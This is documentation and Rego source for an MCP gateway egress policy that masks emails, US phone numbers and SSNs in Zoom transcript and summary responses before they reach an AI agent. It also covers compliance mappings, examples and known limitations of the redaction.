Defense-in-depth, not the access gate This policy sits **behind** the `guard-transcripts-by-group` access gate: that ingress policy decides *who* may retrieve a transcript at all; this egress policy minimizes *what* they receive once retrieval is authorized. There is **no group exemption** here by design — even an authorized transcript reader receives PII-minimized content, because the identifiers a reader is entitled to see for the meeting are rarely the identifiers they need in agent context. Callers who genuinely need raw identifiers should be routed around the agent channel, not exempted here. ## Compliance alignment - **HIPAA §164.514(a)–(b)** — supports Safe-Harbor de-identification practice by stripping direct-identifier classes (email, phone, SSN) from meeting intelligence before it reaches the agent; **§164.502(b) / §164.514(d)** — supports minimum-necessary limits on the transcript read path; **§164.530(c)** — supports privacy safeguards on the agent channel. - **GDPR Art. 5(1)(c)** — supports data minimisation on agent reads of meeting personal data; **Art. 9** — reduces special-category exposure where identifiers co-occur with health/HR content in intake or case-review calls; **Art. 5(1)(f) / Art. 32** — supports security of processing. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information (SSN) on the agent channel; **§1798.150** — reduces nonredacted-PI breach exposure from transcript reads. - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers as meeting content leaves the gateway toward the agent; **C1.1** — supports identification and protection of confidential information on the read path; **P4.1** — supports limiting personal-information use to identified purposes; **P6.1** — supports controls over personal-information disclosure. ## Why egress The PII already lives in Zoom's recorded content — there is nothing to block at ingress, and denying transcript/summary/doc reads outright would defeat the meeting-intelligence use case. The leak happens when content is returned to the MCP client, so the response path is the only place to catch it while keeping the content useful. ## Tool name matching Applies on the output path — in scope when either `input.mode == "output"` or `input.action == "tool_post_invoke"` holds, so redaction still fires on a gateway build that populates only one of the two (keying on `mode` alone would fail open if it were unset). Tools are matched case-insensitively **by suffix**. The tool name is read from all three egress surfaces — `input.resource.name`, `input.tool_metadata.name`, and `input.payload.name` — and a suffix hit on **any** of them puts the call in scope, so a gateway that populates a different surface can't slip transcript content past the scanner. Suffix matching keeps the policy portable across the gateway server-name prefix (Zoom's official server exposes bare snake_case verbs with no vendor prefix, so the gateway server name is what disambiguates). Tool names are the Zoom workspace/Docs server verbs, verified from Zoom's own Claude Code skill (`zoom/skills` — `zoom-mcp` SKILL.md), plus the source-verified community transcript tool: - `get_recording_resource` — transcript / AI summary / next-steps egress (workspace server; verified) - `get_meeting_assets` — AI summary, docs, recordings for a meeting (workspace server; verified) - `get_file_content` — Zoom Docs content in Markdown (workspace + Docs sub-server; verified) - `get_recording_transcript` — transcript with optional speaker labels (`echelon-ai-labs/zoom-mcp` community server; source-verified) Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block (including string blocks containing serialized JSON, since the regexes run over the serialized text). Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. ## Examples ### Redacted (transcript with an email and phone) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "zoom-get_recording_resource", "type": "tool" }, "payload": { "name": "zoom-get_recording_resource", "text": ["Reach Dana at dana@example.com or 206-555-0100."] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["Reach Dana at [REDACTED_EMAIL] or [REDACTED_PHONE]."]`. ### Passed through (out-of-scope tool) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "zoom-search_meetings", "type": "tool" }, "payload": { "name": "zoom-search_meetings", "text": ["Contact: dana@example.com"] } } } ``` `allow = true`, no `transform` — this policy only touches the four meeting-intelligence read tools. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny policies and other transforms on the same egress pipeline. Recommended companions for `apps/zoom`: - **`guard-transcripts-by-group` (ingress)** — the access gate this policy sits behind. It decides who may retrieve a transcript at all; this policy minimizes what authorized readers then receive. Attach both. - **A PF-01 `mask-pan-egress` companion** — this policy performs **no PAN (payment-card) masking**. In sales-call or Revenue-Accelerator transcripts where card numbers are read aloud, pair with a Luhn-validated `mask-pan-egress` policy on the same egress pipeline. - A `constrain-aggregator`-style ingress guard on `*search_zoom` so the agentic-search fan-out into Salesforce/Workday/ServiceNow cannot pull HR/CRM records (with their own PII) through the Zoom connector around this policy. ## Known limitations - **Structured/nested fields that vary by `types` may pass through unredacted.** Zoom returns transcript text in structured fields whose shape depends on the requested `types` (transcript / summary / next_steps / playback). This policy walks the `input.payload.text` content-block array and rewrites **string** blocks (including serialized-JSON strings). Custom or deeply nested non-string fields the policy does not walk are not redacted. Verify your gateway's response shape with the dump-input technique and treat this as a high-signal minimum-necessary layer, not a complete DLP solution. - **No PAN (payment-card) masking.** Card numbers are out of scope here — pair with a PF-01 `mask-pan-egress` companion where card data appears in transcripts (see Composition). - **Pattern-based detection is best-effort and conservative by design.** SSNs are matched in the 3-2-4 grouping with hyphen or space separators (`XXX-XX-XXXX`, `XXX XX XXXX`); the **dotted** form (`123.45.6789`) and bare contiguous 9-digit runs are **not** matched (the latter collide with meeting/recording IDs, and Zoom's 3-4-4 / 10-digit meeting IDs are safe from the 3-2-4 shape). Phones are matched only in separator-formatted US shapes (`(206)555-0100` with no space after the parenthesis, and bare 10-digit runs, are not matched); emails require a `local@domain.tld` shape. Obfuscated, spelled-out, split-across-blocks, or image/audio-embedded values are not caught. - **Suffix matching is server-name-agnostic.** Because Zoom's official verbs are bare snake_case, the policy matches on the tool-name suffix. A same-named tool on an unrelated MCP server would also be redacted — this is harmless for a transform-only PII policy (worst case is over-redaction of an unrelated response), but confirm the tool inventory on your gateway. - **A renamed or version-suffixed upstream tool evades the scope list (fail-open leak).** Scope is an exact suffix match against four verb names, so a tool Zoom (or a community server) ships as e.g. `get_recording_resource_v2`, `get_recording_resource_beta`, or any renamed variant is **not** in scope and its response is returned unredacted. This is inherent to any suffix-scoped egress transform: an unmatched tool means no redaction, not a deny. Re-verify the exact verb names your gateway emits with the dump-input technique after any Zoom MCP server upgrade, and extend `meeting_intel_suffixes` to cover new/renamed transcript-bearing verbs. - **Cross-connector PII pulled through `search_zoom` is not redacted.** Zoom's agentic search (`search_zoom`) fans out into Salesforce, Workday, and ServiceNow and can return their PII (e.g. Workday SSNs) through the Zoom connector. That tool is deliberately **out of scope** here — redacting a general-purpose search surface would over-redact, and the correct control is to fence the fan-out at ingress. Pair with the `constrain-aggregator`-style ingress guard on `*search_zoom` (see Composition); this egress policy does not backstop it. - **Community `get_recording_transcript` runs under account-wide S2S credentials.** The `echelon-ai-labs/zoom-mcp` server acts as the account, not the end user, so egress redaction here does not substitute for gating *who* may call it — that is the job of the ingress access gate. - **Non-string content blocks pass through unmodified.** Redaction applies to string entries of `input.payload.text`. If your gateway emits structured non-string blocks, verify their shape with the dump-input technique. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version before production, and mind attachment order if other egress transforms (e.g. the PAN companion) run on the same pipeline. - **This policy carries no identity-based exemptions and reads no IdP claims.** All authorized readers receive minimized content; if a break-glass raw-identifier path is required, route it off the agent channel rather than adding a claims-based exemption here. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package zoom.egress.redact_pii_meeting_intelligence # Transform-only egress policy: rewrites email addresses, US phone numbers, and # US SSNs in Zoom meeting-intelligence responses (transcripts, AI summaries, # recording resources, Zoom Docs) to typed redaction placeholders before the # response reaches the agent. Never denies. It sits behind the # guard-transcripts-by-group access gate as defense-in-depth: there is no group # exemption, so even authorized readers receive PII-minimized content. default allow := true # ----------------------------------------------------------------------------- # Scope: Zoom's meeting-intelligence read surfaces. Names are the workspace/Docs # server verbs (verified from Zoom's zoom-mcp SKILL.md) plus the source-verified # community transcript tool. Zoom's official verbs are bare snake_case with no # vendor prefix, so the gateway server-name prefix is what disambiguates — we # match by suffix to stay portable across server names. # ----------------------------------------------------------------------------- meeting_intel_suffixes := { "get_recording_resource", "get_meeting_assets", "get_file_content", "get_recording_transcript", } # Egress scope: match the post-invoke/output path on either mode or action. If we # keyed on input.mode alone and a gateway build left it unset, is_meeting_intel_tool # would silently fail and redaction would no-op (fail open, leaking transcript # content). Ingress (tool_pre_invoke / mode "input") satisfies neither branch, so # it stays out of scope. is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } # The tool name is exposed on egress under resource.name (PARC), tool_metadata.name # (legacy), and payload.name (tool-hook canonical). Collect all three and match if # ANY carries a meeting-intelligence suffix — matching only a subset would let a # gateway that populates a different surface slip transcript content past the scanner. candidate_names contains lower(object.get(object.get(input, "resource", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "tool_metadata", {}), "name", "")) candidate_names contains lower(object.get(object.get(input, "payload", {}), "name", "")) is_meeting_intel_tool if { is_egress some suffix in meeting_intel_suffixes some n in candidate_names endswith(n, suffix) } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives. # ----------------------------------------------------------------------------- # Email: a conservative local-part, an "@", a dotted domain, and a 2+ letter # TLD. Word-boundary anchored so it does not fire inside longer tokens. email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # Separator-formatted US phone numbers (e.g. 206-555-0100, (206) 555-0100, # +1 206.555.0100). A separator after the area code is required; bare 10-digit # runs are deliberately not matched. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)|\b\d{3})[-. ]\d{3}[-. ]\d{4}\b` # US SSN in hyphen- or space-separated 3-2-4 form (XXX-XX-XXXX / XXX XX XXXX). # The 3-2-4 grouping is the distinguishing SSN shape: bare contiguous 9-digit # runs and Zoom's 3-4-4 / 10-digit meeting-recording IDs do NOT match, so they # are not over-redacted. Dotted form (123.45.6789) is deliberately excluded as # too ambiguous (version/IP-like). ssn_pattern := `\b\d{3}[- ]\d{2}[- ]\d{4}\b` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_emails(t) := regex.replace(t, email_pattern, "[REDACTED_EMAIL]") redact_phones(t) := regex.replace(t, phone_pattern, "[REDACTED_PHONE]") redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED_SSN]") # Order: emails first (the "@" makes them disjoint from the digit patterns), # then SSNs (3-2-4 digit groups), then phones (3-3-4 digit groups). SSN and # phone shapes do not overlap, so either order is safe between them. redact_block(b) := redact_phones(redact_ssn(redact_emails(b))) if { is_string(b) } # Non-string content blocks (structured blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope and at least one block actually # changed. Otherwise the rule is undefined and the aggregator skips this policy, # returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_meeting_intel_tool is_array(text_blocks) redacted_blocks != text_blocks } ```